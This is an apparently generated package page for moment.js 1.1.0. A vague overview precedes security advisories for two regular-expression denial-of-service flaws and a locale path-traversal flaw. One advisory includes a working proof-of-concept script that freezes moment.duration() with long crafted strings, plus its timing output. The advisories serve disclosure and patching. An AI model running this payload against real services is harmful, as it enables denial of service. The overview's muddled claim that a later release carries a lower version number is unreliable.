Version 1.1.0 Details

Moment.js, a popular JavaScript date library, provides developers with a robust toolset for creating, manipulating, and formatting dates in web applications, simplifying date handling without modifying the native Date object. Examining versions 1.1.0 and 1.0.1 reveals interesting insights into the library's early evolution.

Version 1.1.0, released in October 2011, arrived before version 1.0.1, which was released in December 2011. This indicates a possible roll back scenario. Both versions share a common core: a lightweight, dependency-free approach to date management, empowering developers to easily perform various operations like date arithmetic, localization, and formatting according to diverse user preferences. The library avoids extending the native Date prototype, promoting cleaner code and preventing potential conflicts.

While the core functionalities likely remain consistent between the two versions, the primary distinctions may be in bug fixes, performance enhancements, or subtle API adjustments. Developers migrating between these versions should pay attention to potential API changes as well as bug fixes. The choice between the versions should consider project dependencies and the need for newest updates or confirmed stability. The fact that the later version has a lower number should be considered and carefully evaluated.

Security Vulnerabilities

Security Details

Comprehensive list of direct or transitive vulnerabilities for version 1.1.0 of the package moment.

All Security Vulnerabilities

All the vulnerabilities related to the version 1.1.0 of the package

Summary:

Regular Expression Denial of Service in moment

Details:

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]

[ 5, 651335262 ]

Recommendation

Please update to version 2.11.2 or later.

Details about moment@1.1.0

Summary:

Regular Expression Denial of Service in moment

Details:

Affected versions of moment are vulnerable to a low severity regular expression denial of service when parsing dates as strings.

Recommendation

Update to version 2.19.3 or later.

Details about moment@1.1.0

Summary:

Path Traversal: 'dir/../../filename' in moment.locale

Details:

Impact

This vulnerability impacts npm (server) users of moment.js, especially if user provided locale string, eg fr is directly used to switch moment locale.

Patches

This problem is patched in 2.29.2, and the patch can be applied to all affected versions (from 1.0.1 up until 2.29.1, inclusive).

Workarounds

Sanitize user-provided locale name before passing it to moment.js.
